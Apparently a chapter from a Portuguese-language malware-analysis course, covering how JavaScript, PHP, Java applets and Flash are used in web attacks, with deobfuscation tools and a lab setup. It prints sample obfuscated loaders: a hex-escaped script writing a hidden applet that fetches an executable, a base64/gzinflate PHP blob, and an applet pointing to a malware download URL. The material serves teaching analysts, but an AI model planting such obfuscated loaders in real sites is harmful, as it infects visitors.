Вы находитесь на странице: 1из 7

Aula 20

12. Trabalhando com Web Malware ...............................................................................................174


12.1. JavaScript ...............................................................................................................................174
12.2. PHP .........................................................................................................................................176
12.3. Applet Java .............................................................................................................................177
12.4. Flash e Action Script ..............................................................................................................178
12.5. Lab 12-01 Análise de web malware diversos .........................................................................179
CAPÍTULO 12 – TRABALHANDO COM WEB MALWARE | 174

12. Trabalhando com Web Malware

Web malware na verdade se refere a qualquer tecnologia web utilizada com fins maliciosos.
Os autores de malwares e fraudes cibernéticas estão sempre buscando novos meios de realizar seus
golpes, para eles quando mais rápido e fácil for para atingir seus objetivos, melhor.
Utilizar web sites para armazenar e distribuir malwares é um método rápido e efetivo, por
isso, grandes portais e sites de muito acesso estão sempre na mira de invasores. Se o atacante
encontra uma vulnerabilidade em um portal conseguirá ter acesso ao seu código-fonte, a partir daí
ele pode inserir scripts maliciosos na página principal do site. Todos os usuários que visitarem o site
a partir daí poderão ser infectados.
Para perpetrar esse tipo de ataque, o atacante às vezes emprega várias técnicas diferentes
utilizando linguagens como JavaScript, PHP, Applet Java e Action Script Flash. E quase sempre
utilizam ofuscação de código, às vezes muito simples e fáceis de reverter e outras vezes um pouco
mais complexas mas também reversíveis.
Outra característica desse tipo de ataque é a de criar vários hops (saltos) até chegar
realmente no código principal. Eles invadem vários servidores diferentes e vão criando
redirecionamentos entre esses servidores, geralmente com códigos ofuscados. Isso aumenta o rastro
do ataque e dificulta o rastreamento. Um analista de malware menos atento pode se perder nesse
caminho. Veremos um pequeno resumo de como normalmente as tecnologias web mais comuns são
utilizadas.

12.1. JavaScript

JavaScript é uma linguagem client-side muito utilizada, inclusive com fins maliciosos.
Geralmente quando invadem um site, os atacantes inserem um script JavaScript no código da
página index do site. Quando o site é acessado por um visitante, esse JavaScript é executado
automaticamente. Uma chama a um JavaScript pode ter essa aparência:

<script src="http://www.qualquersite.com/scriptname.js"></script>

JavaScript em conjunto com Applet Java é muito utilizado pelos atacantes para instalar
malware no computador dos usuários. Quando estiver analisando o código-fonte de um site que está
apresentando comportamento estranho, procure por algum JS malicioso, na maioria das vezes os
ataques são iniciados com um tag chamando um JS igual a essa.

OYS Academy – Ronaldo Pinheiro de Lima


CAPÍTULO 12 – TRABALHANDO COM WEB MALWARE | 175

O JavaScript também é muito utilizado para ofuscar código, tanto o código JS quanto código
HTML. Dentro de um script JS pode haver código com essa aparência:

var plugin =
(unescape('%3C%61%70%70%6C%65%74%20%63%6F%64%65%3D%22%4D%69%63%72%6
F%73%6F%66%74%5F%43%6F%72%70%6F%72%61%74%69%6F%6E%5F%4A%61%76%6
1%5F%56%69%72%74%75%61%6C%5F%4D%61%63%68%69%6E%65%2E%63%6C%61%7
3%73%22%20%61%72%63%68%69%76%65%3D%22%68%74%74%70%3A%2F%2F%6C%6
F%63%61%6C%68%6F%73%74%2F%69%6D%61%67%65%73%2F%53%63%72%69%70%74
%46%61%69%6C%2E%6A%61%72%22%20%68%65%69%67%68%74%3D%22%30%22%20
%77%69%64%74%68%3D%22%30%22%3E%3C%50%41%52%41%4D%20%4E%41%4D%45
%3D%22%6E%6F%6D%65%22%20%56%41%4C%55%45%3D%22%47%6F%6F%67%6C%6
5%55%70%64%61%74%65%22%3E%3C%50%41%52%41%4D%20%4E%41%4D%45%3D%2
2%6C%6F%63%61%6C%22%20%56%41%4C%55%45%3D%22%68%74%74%70%3A%2F%2
F%6C%6F%63%61%6C%68%6F%73%74%2F%69%6D%61%67%65%73%2F%47%6F%6F%6
7%6C%65%55%70%64%61%74%65%72%2E%65%78%65%22%3E%3C%50%41%52%41%4
D%20%4E%41%4D%45%3D%22%6D%65%6E%73%61%67%65%6D%22%20%56%41%4C%
55%45%3D%22%4F%6B%22%3E%3C%2F%61%70%70%6C%65%74%3E'))
document.write(plugin);

Esse é um código válido e está ofuscado com caracteres hexadecimais. Outro tipo de
ofuscação pode ser assim:

<SCRIPT LANGUAGE="JavaScript"><!--
hp_d02(unescape("=q`vlvs(u{sa8$smyv,ndpf{bpjtq$9
%0A%0Dvqagchfgq(becggWR@/*0,psc$+(#ozGjhsmov!(%25$681'!(%25$681'!(%25$?&1,3&,=
%0A%0A8*udzhrw:"));//--></SCRIPT><SCRIPT LANGUAGE="JavaScript"><!--
hp_d02(unescape("?+mcfl?"));//--></SCRIPT>

Existem várias ferramentas e web sites que lidam com ofuscação de código JS, em destaque:

 JavaScript Deobfuscator - add-on para o Firefox (versão 8 ou mais nova)


https://addons.mozilla.org/firefox/downloads/latest/10345/addon-10345-latest.xpi

OYS Academy – Ronaldo Pinheiro de Lima


CAPÍTULO 12 – TRABALHANDO COM WEB MALWARE | 176

 ASCII Converter web site – conversão de ASCII, Hexadecimal e Unicode


http://www.mikezilla.com/exp0012.html

 JSUNPACK web site – JavaScript Unpacker, também possui ferramentas standalone


http://jsunpack.jeek.org/

12.2. PHP

A linguagem de programação PHP (server-side) é uma das linguagens prediletas para


construir sites de phishing, clonados de instituições bancárias. É uma linguagem fácil de aprender e
bastante poderosa.
Quando um atacante invade um servidor é muito comum ele fazer o upload de uma shell
PHP. A linguagem PHP é poderosa e permite emular uma shell linux com muitos comandos, então
através dessa shell PHP o atacante consegue controlar o servidor pela web. Abaixo a aparência de
uma shell desse tipo.

O PHP também pode ser encontrado ofuscado, existem várias técnicas que fazem isso,
encriptam o código. Algumas formas de PHP ofuscado:

OYS Academy – Ronaldo Pinheiro de Lima


CAPÍTULO 12 – TRABALHANDO COM WEB MALWARE | 177

<? $plugin =
base64_decode('PHNjcmlwdCBzcmM9Imh0dHA6Ly9sb2NhbGhvc3QvanMvcGx1Z2luLmpzIj48
L3NjcmlwdD4='); echo $plugin; ?>
Ofuscação utilizando base64, bastante simples de reverter.

<? eval(gzinflate(base64_decode('
7P37ehq58igM/73zPLkHhWENMLE5+RAfgicYsI3j
I/gcZ/vX0A10DDRDg7Ezk/d+3+8qvqqS1K0+AXY8
s9Z69/ZaGUAqlUqlUqlUkkq/b338fdAZvH2T+e0f
+ctgTf/PP/DHa2Is2UxZuqGzxhOr96uDyvCuXlwo
Gw9G1xrw5IOn7H1H49CHxeoB64xGg41M5qHfGGpm
P903RmzBTexozXtM+2dZxqBJjP3Fjgcj0+rbjH5T
Vga//j9/sQOt3x5rbYOS4l3xq5Aw+u0EW2Tw0TXt
DkuKLyk/nDZEMG2oNUyWpA8A8eHZdOrD6v9ixfGo
Y/RHZstsakgXx6lBKiuw3CZbTDLNBwIZx33GUh7Q
LIBCV4UCt1oI7EJSweSB1Tb77Fd2otn2xBrqrGUN
mdZsGrZNqJOlveLRboWd7VXr796949UxluhSZyfo
Z09jHUtjY9sYsgeNDQAVYw1oMBt1xtqIjSytz3r6
CoPq+1oPeJBdX11qLOWbq6v5hm6sLmsNrdHINgzj
...
Ofuscação utilizando várias camadas.

Assim como o JS existem vários sites que fazem a desofuscação de código, para citar
alguns:

 eval gzinflate base64_decode


http://www.base64online.com/
http://poligon.ricoroco.com/fora/smf/decoder/

 Base64 Decode (http://www.base64decode.org/)

12.3. Applet Java

Applet é um mini programa escrito em Java que é embutido dentro de uma página HTML.

OYS Academy – Ronaldo Pinheiro de Lima


CAPÍTULO 12 – TRABALHANDO COM WEB MALWARE | 178

Uma estrutura básica de applet seria assim:

<applet
code=”AppletJava.class”
archive=”Arquivos.jar”>

<param name=”mensagem” value=”Hello World!”>


<param name=”malware” value=”http://www.infected.com/malware.exe”>
</applet>

Vemos que dentro da tag applet há duas tags: code e archive. A tag code diz o nome da
classe (entenda-se programa) a ser executado e a tag archive especifica onde está essa classe e
todos os outros arquivos necessários para o applet funcionar.
Na tag archive é esperado um arquivo .JAR onde ficam “zipados” todos os arquivos do
applet. Por fim as tags param são os parâmetros do applet, esses parâmetros são utilizados dentro
do código. Por exemplo, dentro do código do AppletJava.class pode ter uma função que pegue o
valor do parâmetro malware e faça o download.
Para descompactar um arquivo .JAR basta utilizar o WinRAR, WinZip ou outro utilitário
comum de descompactação, vão ser descompactados vários arquivos e dentre eles o .class.
Arquivo .class é um arquivo bytecode java, ele é gerado a partir do código-fonte java, não é
compilado, o bytecode seria um estado intermediário entre o código-fonte e o compilado. Como não
é compilado o .class é passível de “descompilação”, ou seja, é possível recuperarmos o código-fonte
java original.
Um site muito utilizado para “descompilar” arquivos .class e que apresenta bons resultado é
o www.showmycode.com. Basta submeter o arquivo que será apresentado o código-fonte original.
É comum encontrar código JavaScript que é utilizado para criar um applet no HTML do site
invadido.

12.4. Flash e Action Script

Arquivos Flash também são utilizados com propósitos maliciosos, às vezes ao invés de
construir o layout do site de phishing com HTML, o atacante opta pelo Flash. Arquivos flash
possuem a extensão SWF e assim como os .JAR também são embutidos no HTML.
Além das funções gráficas, arquivos flash também conseguem manipular dados dinâmicos
em web site, assim como uma linguagem de programação.
É possível fazer a engenharia reversa dos arquivos SWF do Adobe Flash, existem vários
descompiladores que fazem isso e conseguem obter praticamente o código-fonte completo do
OYS Academy – Ronaldo Pinheiro de Lima
CAPÍTULO 12 – TRABALHANDO COM WEB MALWARE | 179

arquivo.
Quando um swf está sendo utilizado em uma página web para manipular conteúdo
dinâmico, como por exemplo, preenchimento de formulários, dentro dele há a linguagem de
programação ActionScript para realizar esse trabalho.
Então no nosso caso o interessante é fazer a descompilação do SWF e localizar o código
ActionScript, porque ele que estará sendo utilizado com fins maliciosos.
O site www.showmycode.com também consegue fazer a descompilação de arquivos SWF e
apresentar o código-fonte do ActionScript. Além dele há uma ferramenta bastante completa que faz
esse trabalho, chama-se Sothink SWF Decompiler. Não é gratuita mas há uma versão trial que
pode ser utilizada por 30 dias, o que já é suficiente para se fazer uma análise.

12.5. Lab 12-01 Análise de web malware diversos

Todas as tecnologias que vimos muitas vezes são utilizadas em conjunto, umas chamando as
outras e com várias camadas de ofuscação de código em cada uma. É importante entendermos como
cada uma funciona para conseguirmos rastrear todo o malware. Nesse Lab iremos ver vários usos
dessas tecnologias com fins maliciosos.

Material necessário:

- Máquina virtual com Windows XP 32-bit


- XAMMP usb lite (Apache e PHP)
(http://www.apachefriends.org/download.php?xampp-win32-1.7.7-usb-lite.exe)
- Firefox + Add-on JavaScript Deobfuscator
(https://addons.mozilla.org/firefox/downloads/latest/10345/addon-10345-latest.xpi)
- Acesso à Internet na VM para acessar:
http://www.mikezilla.com/exp0012.html
http://www.base64decode.org/
http://www.base64online.com/
http://www.showmycode.com
- Arquivo: Lab-12-01.rar (http://www.4shared.com/rar/HtZjgOwT/Lab-12-01.html) *

* Descompacte o Lab-12-01.rar e copie todos os arquivos descompactados dentro do diretório


htdocs na pasta do XAMMP, geralmente em: C:\xampp\htdocs.

OYS Academy – Ronaldo Pinheiro de Lima

Вам также может понравиться